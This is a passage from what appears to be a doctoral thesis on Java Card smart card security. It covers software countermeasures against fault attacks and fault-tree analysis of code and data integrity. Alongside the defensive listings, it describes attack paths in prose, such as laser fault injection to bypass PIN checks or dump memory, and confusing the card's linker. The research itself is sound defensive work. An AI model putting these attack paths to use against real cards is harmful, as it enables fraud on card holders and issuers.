memory with the JCVM point of view. They succeeded to execute a self-modified virus through

the modification of an applet Control Flow Graph (CFG) and the execution of the array contains.

4.4 Conclusion

In this state of the art, the published attacks on Java Card smart cards had been presented.

According to the target, the attacker should have a different approach. This chapter sorts the
1the putstatic_b pushes a byte to the Java Card stack from a static byte-element.
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state-of-the-art attacks regarding the targeted platform type. A malicious user which attacks a

closed platform like credit card where post-issuance is not allowed should use physical attacks.

These attacks required expensive equipment. On the open platform, loading ill-formed application

is impossible, i. e. each application to install must be verified by a BCV. Therefore, the ideas

are to exploit specification misunderstanding or combined physical and logical attacks to obtain

information of the target. In this case, the BCV component can be bypassed using a physical

attack in order to relax this hypothesis [Bar+10]. Finally, on the development cards, a malicious

user is able to load ill-typed applets in the card. In this case, a software attacks which succeed

in giving information of the attacker cards. This approach is the less expensive. The obvious

countermeasure is to embed a BCV, however this is a important piece of code which can increase

the memory footprint of the card. An overview is shown in Appendix A.

Attacks based on ill-typed code have not practical application due to the fact that very few

applications are downloaded onto cards after post-issuance. Deployed cards are managed in a

way that it is very difficult to load such ill-typed code in the cards. Often, the code is audited or

evaluated and verified from the typing point of view and any malicious application will be detected.

For these attacks, the objective is to obtain the dump of the memory and to be able to perform

further attacks with a white box approach. Reversing the code must be the target because deployed

cards often uses the same VM, the same implementation of GlobalPlatform and so on.

Combining software and physical attack is very promising. It is a mean to relax the main

hypothesis: an arbitrary CAP file can be loaded. If a BCV [Cas02a] or any auditing method

exists, it will become impossible. So, the main idea is to transform the code inside the card

thanks to a physical attack and then be able to generate a mutant application as explained

in [Ham+13,Raz+12b].
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Software Countermeasures

“Fortune is arranging matters for us better than we could have shaped

our desires ourselves, for look there, friend Sancho Panza, where thirty or

more monstrous giants present themselves, all of whom I mean to engage in

battle and slay, and with whose spoils we shall begin to make our fortunes;

for this is righteous warfare, and it is God’s good service to sweep so evil a

breed from off the face of the earth.”

— Miguel de Cervantes, Don Quixote
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Since a decade, smart card manufacturers have been aware of the danger of fault attacks.

Hence, they have developed a large variety of hardware countermeasures [Gad05]. Major hardware

countermeasures are sensors and filters, which aim to detect attacks, e. g. using anomalous frequency

detectors, anomalous voltage detectors, or light detectors. Other countermeasures use redundancy,

i. e., dual-rail logic (keeping data in two redundant memories), and dual-hardware (computing

a result twice in parallel). A data is considered to be error-free if both values (computed or
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memorised) match. But these are very expensive countermeasures, and hence, redundancy may

not be implemented in smart cards.

One can notice that using only hardware countermeasures has two drawbacks. Highly reliable

countermeasures are very expensive and low cost countermeasures only detect specific attacks.

Since new fault attacks are being developed frequently these days, detecting only current known

forms of physical tampering is not sufficient, especially for long term applications (an e-passport

must be valid for ten years).

An alternative or additional countermeasure is the use of software countermeasures. They

are introduced at different stages of the development process. Their purpose is to strengthen the

application code against fault injection attacks. Current approaches for software countermeasures

include checksums, randomisation, masking, space redundancy, temporal redundancy and counters.

This chapter is organised as follow. First, applicative countermeasures are presented in Sec-

tion 5.1. This sort of countermeasures is applied by the developer but it a costly approach which

does not cover all security elements. To improve application protection, some devices embed

countermeasures which prevent application from malicious behaviours. That is explained in Sec-

tion 5.2. A countermeasure which protects a whole application reduces its performances. Moreover,

a countermeasure may be useless during the large part of execution time. Enabling the appropri-

ate countermeasure by the developer from a especially piece of code is an interesting approach

explained in Section 5.3.

5.1 Applicative Countermeasures

Usually, the programmer is in charge of adding defencive code to avoid any fault attack. This

class of countermeasure produces applications with a greater size. Hence, besides the functional

code (the code that processes data), we have the security code and the data structure for enforcing

the security mechanism embedded in the application. Java is an interpreted language therefore

it is slower to execute than a native language, so this category of countermeasures suffers from

execution time overhead and add complexity for the developer. Examples of such applicative

countermeasures are: redundant if structure, step counters, loop counters, redundant variable (if

possible with complementary value), specific coding of Boolean value, etc.

5.1.1 Redundancy to Detect Errors

Redundancy takes two forms, spatial and temporal. The first replicates the components or data

in a system. The second one duplicates the operations to guarantee the correct result. Generally,

the same set of instructions is executed twice. Focus on the transient errors.
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5.1.1.1 Spatial Redundancy

Spatial redundancy is based on code stored twice in memory. Each part is executed simultaneously

(on a threaded system) or one after another (on a mono-threaded system). The result of each

execution is compared and they are different, an incorrect behavior is detected. This countermeasure

is mainly used for the implementation of cryptographic algorithms to detect a fault injection attack.

5.1.1.2 Temporal Redundancy

The redundancy of the if-then-else statement can be used to improve the security of the branch

statement to verify if a test is performed correctly. To be in agreement with the compilation rules,

dead code shall be allowed to build a twice if-statement.

For example, to verify a PIN, a call to pinIsValidated() shall be performed, which returns

true if the PIN has been verified previously. The pinIsValidated() function is provided by the

Java PIN interface. If the PIN is not validated, the program checks it again whether the condition

did not change before executing a sensitive operation. If the condition occurred without having a

call to the adequate method (i. e., the verifyPIN()) that means some external phenomenon has

modified the state of the PIN object during the transfer of data on the bus.

Listing 5.1: Protected if-then-else statement.

// c o n d i t i o n i s a Boolean

if ( pinIsValidated ()) {

if ( pinIsValidated ()) { /∗ C r i t i c a l o p e r a t i o n ∗/ }

else { /∗ Attack d e t e c t e d ! ∗/ } // Countermeasure

} else {

if (! pinIsValidated ()) { /∗ Access not a l l o w e d ∗/ }

else { /∗ Attack d e t e c t e d ! ∗/ } // Countermeasure

}

If a fault is injected during an if condition, an attacker can execute a specific statement

without a check. In real time, a 2nd order fault injection is difficult with a short delay between

two injections. A 2nd order if statement can be used to verify the requirements needed to access

a critical operation in order to prevent a faulty execution of an if-then-else statement. An

example of this kind of implementation is listed in Listing 5.1. The problem with a secure if

condition is that the CFG of the program is not guaranteed.

5.1.1.3 The Step Counter

Another means used to protect an application is a state machine. The following code, shown in

Listing 5.2, is an abstraction of the Oracle’s wallet sample [Ora11b]. According to the received

command in the APDU, the user requests either a credit or a debit. The balance is protected

with integrity which is checked with the method readBalance. Then, before entering to either
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an increment or a decrement, the applet checks if the user has been previously authenticated. If

not, it throws an exception. So, for the unauthenticated user, the security problem concerns the

possibility to access the incBalance if not previously authenticated. The laser fault can change

the Java Program Counter (JPC) such that after reading the value of the balance it jumps to

incBalance avoiding the authentication test.

process (APDU apdu) {

if ( condition )

debit(apdu);

else

credit (apdu);

}

credit (APDU apdu) {

short bal = readBalance ();

if ( checkAuthentication ())

incBalance (bal);

else

ISOException . throwIt

( PIN_NOT_VALIDATED ); }

debit(APDU apdu) {

short bal = readBalance ();

if ( checkAuthentication ())

decBalance (bal);

else

ISOException . throwIt

( PIN_NOT_VALIDATED ); }

Listing 5.2: The Oracle’s wallet sample.

The minimal countermeasure is the step counter. With this method, each node of the CFG,

defined by the developer, is verified during the runtime. If a node is executed with a step counter

set with a wrong value, an incorrect behaviour is detected. The counter is initialised at its initial

value and each time the control enters in a method it is incremented. Then, in a critical method

(e. g., incBalance). Of course, the step counter is duplicated to avoid an attack on it and the both

counter are checked. An example is shown in Listing 5.3.

Listing 5.3: Step counter countermeasure.

short step_counter = INITIAL_VALUE ;

if( step_counter == STEP_0 ) { // C r i t i c a l o p e r a t i o n 1

step_counter ++;

} else { /∗ Attack d e t e c t e d ! ∗/ } // Countermeasure

...

if( step_counter == STEP_1 ) { // C r i t i c a l o p e r a t i o n 2

step_counter ++;

} else { /∗ Attack d e t e c t e d ! ∗/ } // Countermeasure

Protecting the RAM part in a card is much easier than protecting the EEPROM area. Indeed,

non static data stored in the RAM, will have a variable location from two different method’s

executions. The local variables, in the C-language, fill a part of the C-stack. Regarding each

method execution, the cell which contains the local variable will naturally change. This behaviour

is currently impossible in the EEPROM.

So, at the beginning, both counters are transferred to transient memory and the modification

of both counters must be protected by the Java Card transaction mechanism to avoid a smart card

tear down (the two last points are not represented in the code below).
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5.1.2 The State Machine

To improve the counter mechanism, one can implement the state machine which checks if the next

block is an authorised one by verifying that a call to a method is a valid one with regard to the

current method. The CFG application is shown in Figure 5.1.

0

1

3

2

5

4 ISOException.throwIt()

process()

decBalance()

debit()

readBalance()

checkAuthentification()

credit()

readBalance()

checkAuthentification()

incBalance()

Figure 5.1: Application’s control flow graph.

The representation of the state machine uses an adjacency list which is a data structure for

representing graphs. In an adjacency list representation, one keeps, for each vertex in the graph, a

list of all other vertexes which it has an edge to (that vertex’s “adjacency list”). One can use a

two-dimensional array which must be simulated in a Java Card (arrays are only one dimension in

Java Card). Then, the state machine SM is represented by:

SM = {{1, 2}, {3, 4}, {5, 4}, {}, {}, {}, {}}

Only the four following traces are allowed:

• t1 = {process, credit, readBalance, checkAuthentication, incBalance},

• t2 = {process, credit, readBalance, checkAuthentication, ISOException.throwIt},

• t3 = {process, debit, readBalance, checkAuthentication, decBalance},

• t4 = {process, debit, readBalance, checkAuthentication, ISOException.throwIt}

So, the program is transformed with some primitives: the startStateMachine function, which

verifies that the last state was a leaf and reinitialises the state machine and the setState function

which checks that the next state is allowed according to the current state, as illustrated in Listing 5.4.

The SM matrix is hard-coded as a static final array.

Adding security is not an obvious process and it needs a deep understanding of the hardware,

the state-of-the-art attacks and the most adequate countermeasures to use. The developer knows

the assets of the program to be protected, but he needs to be aware of the attacks and the particular

effects of fault attacks. For that reason, it is better to rely on system countermeasure embedded
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process (APDU apdu) {

startStateMachine ();

if ( condition ) {

setState (2);

debit ();

} else {

setState (1);

credit ();

} }

credit (APDU apdu) {

readBalance ();

if( checkAuthentication ()){

setState (3);

incBalance ();

} else {

setState (4);

ISOException . throwIt

( PIN_NOT_VALIDATED );}}

debit(APDU apdu) {

readBalance ();

if( checkAuthentication ()){

setState (5);

decBalance ();

} else {

setState (4);

ISOException . throwIt

( PIN_NOT_VALIDATED );}}

Listing 5.4: The purse example with the state machine commands.

into the VM. The developer indicates to the VM the variables which need a secure storage or the

fragment of codes which need a secure execution. For that purpose, the developer also requires to

signal to the VM the countermeasures which need to be enabled during a specific duration. Such

mechanism will be described in the next section.

5.2 System Countermeasures

The objective of a system countermeasure is to detect an attack which occurs at linking time,

runtime (e. g. when the byte code transits on the data bus) or during the execution of another

piece of code. Thus, the nature of the countermeasure is different in terms of:

• Protection of variables integrity: instance field, code to be executed, evaluation stack, execu-

tion context, etc.;

• Protection against control flow execution modification: bypassing a test, jumping to an

unauthorised data area, jumping to an argument instead of an instruction, etc.;

• Preventing type confusion, executing an instruction on an object with a given type so this

object is considered, in another code fragment, as another type.

5.2.1 Protecting Variables Integrity

The integrity of application data is often used in Java Card and is called secure storage. It mainly

consists of a dual storage or a checksum in order to verify whether the modification of the field is

done only through the VM. Another integrity check concerns the VM structure and in particular

the frame context. A modification of the frame element can change the applet control flow and

execute illegal operations. Protecting the frame header consists in controlling the system data in

the frame with a checksum. These data are the return address, the previous stack pointer and the

context of the previous frame. Girard suggested in [Gir11] to split the frame and manage the stack

context separately from the stack and the locals of the frame.
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5.2.2 Prevent Control Flow Modification

The possibility to modify the control flow of a byte code fragment has been demonstrated in

[IC+10]. The detection of such attack has been mainly studied in the Séré’s PhD thesis [S1́0].

Based on the redundancy, he introduced several system countermeasures as the Field of Bits

countermeasure [Sér+11], the Basic Block method and the Path Check method [Sér+10]:

• The Field of Bits approach consists in statically building a representation in an array associ-

ating the nature of the byte of the method: a bit at 1 representing an executable instruction

and at 0 a readable parameter. This information is sent to the VM, which is in charge of

checking dynamically that each interpreted byte code is consistent with the associated bit.

• The Basic Block method generates statically the CFG of the method and at each end of

a basic block, computes the value of the checksum. Dynamically, the VM is in charge of

computing the value of checksum and checking the coherence with the pre-computed value

at some predefined step: each entry point and each exit point.

• The Path Check technique encodes statically the CFG as a field of bits and sends it to the VM

with the application. Then, the VM dynamically constructs its own field of bits according

to the instructions executed. For each instruction, it becomes possible to verify if there is a

divergence in the execution.

To ensure the code integrity, Prevost et al. patented [Pre+06] a method where a hash value is

computed for each basic block of a program. The program is sent to the card with the hashsum of

each basic block. During the execution, the smart card verifies this value for each executed basic

block and if a hashsum is wrong, an abnormal behaviour is detected. Barbu [Bar12] purposed

to re-encode on the fly during the linking phase of the value of byte code. So, if someone tries

to execute an arbitrary array, he will not be able to obtain the desired behaviour. With such a

method the encoded value is scrambled with a specific key which depends on the type of element.

Thus, applet code and data have a different keys.

Recently, Farissi et al. [Far+13] presented an approach based on artificial intelligence, partic-

ularly in neural networks. This mechanism is included in the JCVM. After a learning step, her

mechanism is able to dynamically detect an abnormal behaviour of each program installed into

the smart card.

5.2.3 Protecting Against Type Confusion

Several effects are possible for a type confusion using fault attacks:

• if the control flow is modified, the program counter can jump over several instructions leading

to a storage of an operand of a given type into a local variable of incompatible type,
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• as shown by Barbu et al. [Bar+10] a checkcast instruction can be bypassed by avoiding the

dynamic control of a type cast,

• Desynchronising the control flow leads to a jump to an operand which will be executed

as a byte code instruction. In turn this byte code instruction can lead to a type confu-

sion [Ham+13].

There are a lot of possibilities to protect the data and the execution of a code into the VM.

Unfortunately, if all of them are activated during the execution of an application, the performance

of the smart card will drastically decrease reaching an unacceptable level. For that reason, such

system based on countermeasures needs to be activated only for some critical code sections and

deactivated once the code is no more critical. The next section presents two mechanisms to activate

or deactivate these countermeasures.

5.3 Dynamic Security Mechanisms

There are two ways to signal to the VM in which mode it must enter or exit. From the liter-

ature, annotations [S1́0] mechanism or a specific API [Bar+12b] (like startProtection() and

endProtection() functions) can be used. The advantage of API is there is no modification for

the VM, while the advantage of annotation is the possibility to pre-compute statically information

that will improve the runtime checks.

5.3.1 The Annotation Mechanism

Séré made the choice of Java annotations. When the VM interpreter encounters an annotation, it

switches to a secure mode and the scope of the annotation indicates the exit of this mode. The

value provided within the annotation signifies the type of countermeasure which the developer

needs for the application. The developers should keep in mind that activating a method in secure

mode would imply that the parameters are correct. It is based on the paradigm of contract: if the

calling context is correct, the VM guarantees an execution according to the value of the annotation

parameter.

During his PhD [S1́0], Séré developed several annotations and implemented them into his

custom VM. His annotations is presented in Table 5.1.

Type Code integrity CFG integrity

Parameter FIELD_OF_BIT PATH_CHECK

BASIC_BLOCK

Table 5.1: List of annotations.

The principle of the mechanism is split into two parts: one part is off-card and the other one

is executed on-card. Séré’s module works on byte code, and it has sufficient computation power
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because all of the following transformations and computations are done on a server (off-card). His

approach is generalist and does not depend on the type of application.

5.3.2 The Security API

Enabling all the countermeasures during the complete program execution is too expensive for

the card to afford and also it is not required. Hence, to reduce the implementation cost of the

countermeasure, Barbu et al. [Bar+12b] proposed user-enabled countermeasure(s) in which the

developer has the choice to enable a specific countermeasure for a particular fragment of code.

In their paper, the authors presented a mechanism to protect a fragment of code inside a

method. This method is based on flags set through some functions to enable a specific protection.

Their approach is shown in Listing 5.5.

Listing 5.5: Security markup in Java Card application.

credit (APDU apdu) {

try {

Protection .begin ();

short bal = readBalance ();

if ( checkAuthentication ()) incBalance (bal);

else ISOException . throwIt ( PIN_NOT_VALIDATED );

} finally { Protection .end (); } }

In this example, the piece of code in the try statement is protected. The protection is ensured

through the invoke of the Protection.begin() function. Therefore, it is the role of the developer

to protect his assets by the appropriate countermeasure. When this countermeasure is not necessary

any more, the developer can disable it with the function Protection.end().

With this approach, the developer is able to fine-grained the security of his application by

specifying the more interesting countermeasure at the correct time. This concept decreases the

runtime overload due to a useless countermeasure.

5.4 Conclusion

In this chapter have summarised the state-of-the-art countermeasures to prevent unexpected be-

haviour. On smart card, a modification of the code and data leads the application to an incorrect

statement. The code and the data are the assets of this sort of device and shall be protected in

integrity and confidentiality. The confidentiality is mainly done by hardware protections or by

cipher algorithms. When a cryptographic operation is computed, at least one key is used and often

stored in RAM memory. If the code integrity is broken, the cryptographic key can be found. This

chapter is synthesised in Appendix A
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Chapter 6

Fault Tree Analysis

“Never trust anything that can think for itself if you can’t see where it

keeps its brain.”

— Joanne K. Rowling, Harry Potter and the Chamber of Secrets
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Countermeasures are often dedicated to an attack and do not take into account a global point

of view. Designers typically use an inductive (bottom-up) approach where, for each attack, a

mechanism is added to the system to mitigate the attack. In such an approach, a probable event is

assumed and the corresponding effect on the overall system is tried to be ascertained. On one hand,

this allows to determine the possible system states from the knowledge of the attacker model and

on the other hand the feasible countermeasures for the attack. Thus, it leads to several defences

where the final goal is not clearly defined nor ensured. Moreover the overhead of the defences is

high both in terms of memory footprint and CPU usage.

Bouffard et al. [Bou+13d] adopted a deductive approach (top-down) by reasoning from a more

general case to a specific one. One starts from an undesirable event and an attempt is made to

find out the event, and the sequence of events, which can lead to the particular system state. From

the knowledge of the effect, we search a combination of the causes. We postulate a state, in our

case a security property, and we systematically build the chain of basic events.

This approach is based on a safety analysis, often used for safety critical systems. The safety

analysis performed at each stage of the system development is intended to identify all possible
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hazards with their relevant causes. Traditional safety analysis methods includes, Functional Hazard

Analysis (FHA) [Lev86], Failure Mode and Effect Analysis (FMEA) [Sta03] and Fault Tree Analysis

(FTA). FMEA is a bottom-up method since it starts with the failure of a component or subsystem

and then looks at its effect on the overall system. First, it lists all the components comprising a

system and their associated failure modes. Then, the effects on other components or subsystems are

evaluated and listed along with the consequence on the system for each component’s failure modes.

FTA, in particular, is a deductive method to analyse system design and robustness. Within this

approach, one can determine how a system failure can occur. This approach aims at optimising

the countermeasures by improving their coverage and decreasing their footprint on the system.

In order to design the more efficient countermeasures, Section 6.1 presents a state of the art of

the FTA approach applied of the security analysis field. Based on the specifications, this approach

focused on the JCVM’s elements that shall be protected. These elements are the smart card’s

assets. Section 6.2 presents FTAs applied to the Java Card. This thesis focuses only on the code

and the data integrity. Through this analysis, new events which can corrupt the smart card security

are discovered. They are described in Section 6.3. This chapter will be concluded in Section 6.4.

6.1 State-of-the-art Fault Tree Analysis in Security Analysis

FTA is often used for reliability analysis, but, it can also be used for computer security. Helmer

et al. [Hel+02] suggested to integrate FTA to describe intrusions in an Information Technology

(IT) software and Colored Petri Net (CPN) to specify the design of the system. The FTA diagrams

are augmented with nodes that describe trust, temporal and contextual relationships. They are

also used to describe intrusions. The models using CPNs for intrusion detection are built using

CPN templates. The FTA restricts drastically the possible combination of the events. In [Pre+06],

FTA is used to assess vulnerability considering the fact that the undesirable event of interest

should already be in a fault tree designed for the purpose of a risk assessment. They showed

how to build specific FTA diagrams for vulnerability assessments. In [Moo+01], an attack tree

is used to model potential attacks and threats concerning the security of a given system. Attack

trees have the same meaning as FTA (same gate connectors). They generate attack scenario in a

close way to Unified Modeling Language (UML) scenario for evaluating how to exploit the system.

Another work [Fro97] described a methodology to analyse both software and hardware failure

in a system and also discussed the use of FTA affordable for software systems by design, i. e.,

incorporating countermeasures so that the fault can be considered and mitigated during analysis.

Byres et al. [Byr+04] used the Boolean logic Driven Markov Process (BDMP) models to find

vulnerabilities in the Supervisory Control And Data Acquisition (SCADA) systems.
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6.2 Smart Card Vulnerability Analysis using Fault Tree Analysis

A fault tree is defined by an undesirable event to prevent. The system is then analysed to find the

combinations of basic events that could lead to the undesirable event. A basic event represents an

initial cause which can be a hardware failure, a human error, an environmental condition or any

event. The representation of the causal relationship between the events is given through a fault

tree. A fault tree is not a model of all possible system failures but a restricted set, related to the

property evaluated.

Undesirable
event

Effect 2

Event 3Event 2

Event 1

Figure 6.1: The causal relationship between two events.

FTA is a structured diagram constructed using events and logic symbols mainly and and or

gates (Figure 6.1). Other logical connectors can be used like the not, xor, conditional, etc.

The and gate describes the operation where all inputs must be present to produce the output

event. The or gate triggers the output if at least one of the input events exists. The inhibit

gate describes the possibility to forward a fault if a condition is satisfied. For readability of FTA

diagrams, a triangle on the side of an event denotes a label, while a triangle used as an input of a

gate denotes a sub tree defined somewhere else.

On a smart card, four undesirable events represent the failure of the system: code or data

integrity and code or data confidentiality. Code integrity is the most sensible property because it

allows the attacker to execute or modify the executable code which not only leads to the code and

data confidentiality but also the data integrity. The JCVM prevents these events to occur under

normal execution.

For each undesirable events, a FTA is designed where intermediate nodes represent a step in

an attack while leafs (basic events) represent either the state of the system or a known attack. If

this attack needs a given state of the system to succeed then an and gate must bind the attack

to the state of the system. Thus, it becomes a condition on the system state.
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6.2.1 Code Integrity

The first property to be analysed in a smart card for understanding or implementing security

features is the code integrity. If the attacker is able to modify the method area or more generally

to divert the control flow of the code to be executed, then another code have the possibility to be

executed instead of the legitimate one. Based on the Java Card architecture, here, three possibilities

are considered, see Figure 6.2, either the processor executes:

• A malicious code loaded in the card by a malicious user. In this case, the attacker is able

to load an ill-formed application or one not compliant with the Java Card security rules. In

this case, the attacker is able to modify the application just before installing it;

• A code modified during the installation process such as the installed application has a different

semantic from the loaded one. That provides a different application with an undesirable

effect;

• A different instruction from a correct application. During the program execution, an event

modifies the code fetched. Thus, the regular code is executed in such a way that the initial

semantic is not preserved.

Code integrity
corruption

Executed code
is not the
stored one

Executed code
is not the
loaded one

Execution of a
malicious code

Figure 6.2: Code integrity tree.

At that step, the code integrity depends of three undesired events to characterise a better

dedicated countermeasure.

6.2.1.1 Execution of Creepy Code

On a development card, a user may send an application ill-formed or which includes illegal instruc-

tions. On a product card, each application installed on the device shall be checked by a BCV, as

described in the smart card development guideline. From the Java specification, an application

must be checked by a BCV to be executed. Due to the limited resources embedded into a smart

card, a BCV is often not present. Therefore, an attacker can perturb the application before the

loading process in order to break the code integrity. In Figure 6.3, the events which breach the
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code integrity are presented. In the left part of Figure 6.3, the code can be corrupted through the

Java Card frame. From the JCRE specification [Ora11c], the frame is defined as:

“Java Card virtual machine frames are very similar to those defined for the Java virtual

machine. Each frame has a set of local variables and an operand stack. Frames also

contain a reference to a constant pool, but since all constant pools for all classes in a

package are merged, the reference is to the constant pool for the current class’s package.

Each frame also includes a reference to the context in which the current method is

executing.” (source: JCRE specification [Ora11c, §3.5 – Frames]).

From the JVM specification [Lin+13], the Java frame is introduced as:

“The current frame (§2.6) is used in this case [editor note: when a return instruction

is executed] to restore the state of the invoker, including its local variables and operand

stack, with the program counter of the invoker appropriately incremented to skip past

the method invocation instruction. Execution then continues normally in the invok-

ing method’s frame with the returned value (if any) pushed onto the operand stack of

that frame.” (source: JVM specification [Lin+13, §2.6.4 – Normal Method Invocation

Completion]).

One easily understands that corrupting the frame header may break the code integrity. Indeed,

on the one hand, if the return address is changed to another value, a different code fragment will

be executed. On the other hand, exploiting the context value is a way to execute any fragment

of code from another context. Another discovered event is the corruption of the invoker’s state.

Fooling the state of the caller can corrupt the caller’s frame integrity.

Execution of a
malicious code

Control flow
corruption

Type con-
fusion

Invoking an
unexpected

function

Fooling the
exception

mechanism

Modifying
finally clauses
instructions

Faulty table
jumping

operations

Corrupting
the branching
instructions

RA

Frame
Corruption

Confusing the
invoker’s state

Context
corruption

Return
address

modification

Code desyn-
chronisation

RA

Figure 6.3: Execution of ill-formed code.

Another event which breaks the code integrity is the code desynchronisation. A code desyn-

chronisation comes when an instruction parameter is interpreted as an instruction. This event

arises when a branching instruction, a table jumping instruction or a finally clause jumps to the

parameter of an instruction.
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The last event is the corruption of the application’s control flow. As described in Section 3.2.3.1,

the control flow is influenced by the frame state, a corruption of the branching instructions, a

faulty table jumping operations, a modification of the finally clauses instructions, a fooled exception

mechanism, the call of a non legitimate methods and a type confusion. Those events are able to

(in)directly modify the JPC value to jump to an unexpected statement. The exception mechanism

was confused by Barbu et al. [Bar+12c], to throw an unthrown object and so execute an illegal

statement. At these events, I added the modification of the return address and the type confusion

attacks. On the one hand, the modification of the return address can indirectly modify the

application control flow, via a JPC modification when a return instruction is called. On the other

hand, the type confusion can perturb the execution flow through an ill-formed instance reference.

6.2.1.2 Executed Code is not the Loaded One

The next event to inhibit is the modification of the code during its loading step to the card. This

event comes since a legitimate application is loaded to the card but, during this process, the original

code is shifted to another one. As shown in Figure 6.4, three considered events can break the code

integrity. From the left leaf, the GlobalPlatform architecture [Glo11] defines some protocols which

manage the loading process. These protocols can be confused. For that purpose, two means to

exploit it are found. The first one is based on the loading mechanism when the code is sent to

the card and installed. During the installation step, a subset of the loaded file is kept to execute

the application. This translation can introduce a modification of code application. The second

one aims to exploit a confusion of the signing mechanism. GlobalPlatform specifies [Glo11] few

protocols to ensure the authentication of the code owner and the integrity of it. An attack of this

mechanism was presented by Nohl [Noh13] who succeed in obtaining the (U)SIM installation keys.

Both of them can install and execute ill-formed code.

Executed code
is not the
loaded one

Unreachable
statement

Execution of
malicious code

Ill-formed
CAP file

Linker
confusion

Embedded
linker

off-card linker

GlobalPlatform
confusion

Signing
mechanism

Loading
process

ill-formed code
ill-formed code

Figure 6.4: The executed code is not the loaded one.
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During the installation process, the Java Card linker resolves each CAP file token to the

associated internal reference. Abusing this component can break the semantics of the code or

invoke non authorised functions.

Another event that can occur is the execution of an applet installed via an ill-formed Cap file.

According to the implementation, the JCVM can go to an illegal state as the JCVM may execute

code upon an incorrect statement or unexpected instructions.

The last event to prevent occurs when a legitimate application contains unreachable statement.

An unreachable statement is a part of an application which can never be executed because it exists

no control flow path to access to this code from the rest of the program. As described by the Java

language specification [Gos+13, §14.21 – Unreachable Statements] the unreachable statement is

explicitly disallowed (“It is a compile-time error if a statement cannot be executed because it is

unreachable.”). As noticed by Stata et al. in [Sta+99], Oracle’s Java BCV does not check any

unreachable statement. The Java Card BCV does not check too any unreachable statement.

6.2.1.3 Executed Code is not the Stored One

The last event to prohibit is the modification of an instruction loaded from the smart card memory

to the CPU through the bus. This fault mainly occurs via an external event, as an electromagnetic

pulse [Qui+05], a current attack [BE+04] or an optical injection [Sko+02]. On a Java Card, this

kind of event was studied by Barbu et al. [Bar+10] and Lancia [Lan12b]. Barbu et al. focused

on the code as a Java Card instruction (the checkcast instruction) returns quietly with incorrect

parameters. Lancia, in his paper, studies the effect of the references modification on the code

integrity through the native layout. This event is summarised the on Figure 6.5.

Executed code
is not the
stored one

Fault Injec-
tion on the

native layout

Branching
instruction

Data Integrity

ill-formed code

Figure 6.5: The executed code is not the stored one.
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6.2.2 Data Integrity

The second analysed property is the data integrity. Regarding the attack power, modifying the

data can change the control flow or let access to unauthorised features. Thus, two main events

are considered that can break it. In the first one, the data can be corrupted during the loading

process where the initialised values are changed. In this case, the initialised data vector is different

from the loaded one. In the second one, since a class is instantiated, an event shifted its data to

an incorrect value. Figure 6.6 overviews the data integrity’s FTA.

Data integrity

Data are
different from the
instantiated one

Fault Injection on
the native layout

Transient
Fault Injection

Persistent
Fault Injection

Illegal access

Code Integrity
is broken

Data corruption
during the

loading process

Cheating the
Static initiali-
sation vector

Breaking the
Code Integrity

Figure 6.6: Data integrity tree.

6.2.2.1 Data Corruption during the Loading Process

During the loading process no mechanism ensures, in the Java Card specification, that the data

integrity should be verified. One can imagine that, through the breaking of the code integrity, the

data integrity will be confused. Moreover, the CAP file contains an initialization vector for static

elements into the Cap file Static Field component. This vector can be modified to obtain new

initialised vector inside the card.

The GP specification [Glo11] provides mechanisms to ensure the integrity of each command ex-

changed between the card and the host. This protection can be enabled through the authentication

protocols and not widely supported by the cards.

6.2.2.2 Data are Different from the Instantiated One

The integrity of the data stored inside the card can be broken. Indeed, their integrity should be

ensured by two means: inside the JCVM, through the access control of each element, or outside
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the JCVM.

Through the JCVM, if the code integrity is broken, an instruction can access to an element

stored outside its context. As described in the JCRE specification [Ora11c, §6.1.4 – Object Access],

this event is not allowed and shall throw a SecurityException. Nonetheless, since an instruction

sets up a resource from another context, even if a hashsum ensures the integrity of this data, the

JCVM will update the hashsum.

From the native part, a transient or persistent fault can be injected in the smart card memory

or via the bus to break the data integrity. Lancia [Lan12b] studied the effect of the laser fault

injection on the Java Card heap. He focused on the transient fault where an object reference is

shifted to another. In his case, a hashsum mechanism detects a reference modification.

6.3 Exploitation of the Discovered Attack Vectors

With the fault trees, new events have been discovered which can break the integrity and the

confidentiality of the smart card assets:

• Modifying the application control flow one can jump over a method that performs a security

test letting on top of the stack the address of the called object. Of course, the stack has a high

probability to be ill-typed (non compatible) at the end of the current method. Nevertheless,

an attacker can still send high value information before being detected;

• Through a fault injection, a faulty branching instruction can lead to a corruption of the

application’s control flow. To corrupt a branching condition, two element can be fooled. On

the one hand, the branching instruction parameter can be shifted in order to execute an

another statement than the one expected by the developer. On the other hand, the effect of

laser affects the value returned by a method inducing it to execute a code fragment without

the adequate authorisation or in a conditional evaluation it can change the branch which is

to be executed. This attack targets the Java Card evaluation stack where the value returned

by the function is stored;

• Confusing the Java Card linker can offer an interesting way to modify the application during

its installation step. Outside the card, an application can be linked with some malicious

libraries. Inside the card, the embedded linker can break the program semantics and install

a ill-formed applet;

• A laser fault injection can also modify the address of data to be copied in the I/O buffer or

change the number of byte to be copied. This attack allows to dump memory in an arbitrary

way. An exploitation of this sort of attack was presented by Lancia in [Lan12a];

• Finally, having unreachable statement in an application is an abnormal behaviour of the Java

Card toolchain. As an unreachable code can contain instructions not compliant with the
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Java Card security rules, upon a laser beam injection, this code fragment can be executed

and arise the JCVM to an illegal behaviour.

6.4 Conclusion

This chapter presented an approach, based on the fault tree, to design the more efficient countermea-

sure. My contribution was published in [Bou+13d]. To cover all cases which lead to a corruption

of the legitimate statement, a FTA had been introduced for each smart card assets. Thus, the code

and data’s integrity and confidentiality were studied. These fault trees were designed upon the

Java and Java Card specifications to protect each critical element which can breaks the security of

the Java Card platform.

Through these fault trees, new attack paths had been discovered and new high level counter-

measures were though to protect the Java Card with the lowest footprint on the card’s system.

The aim of this thesis is to propose efficient and affordable high-level countermeasures which

protect the code integrity. To introduce the work made during this thesis, the next chapters are

organised as follow. Chapter 7 presents the events which affect the Java Card control flow. After

each presented attack, the more high-level countermeasures are described. Chapter 8 contains

another disclosed events study that are the corruptions of the of the Java Card linker. To conclude

this contribution, each attack and countermeasure introduced in this thesis will be evaluated in

Chapter 9.
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Java Card Control Flow Security

“One Day, One Room.”

— House MD, season 3, episode 12
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In Java, the application’s control flow branches via three sort of instructions: method invocation

and return, branching instructions and exception mechanism. Each of them updates the JPC value

to refer to the next Java Card instruction to execute.

Invoking a method implies that a new frame is pushed and the JPC jumps outside the current

method to a valid method’s header. Returning to the caller function is done by a return instruction.
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The caller’s state is restored while the frame is popped from the stack and the execution continues

from the instruction following the one that invoked the method.

Next, there is the branching instructions which modify the application control flow. Therefore,

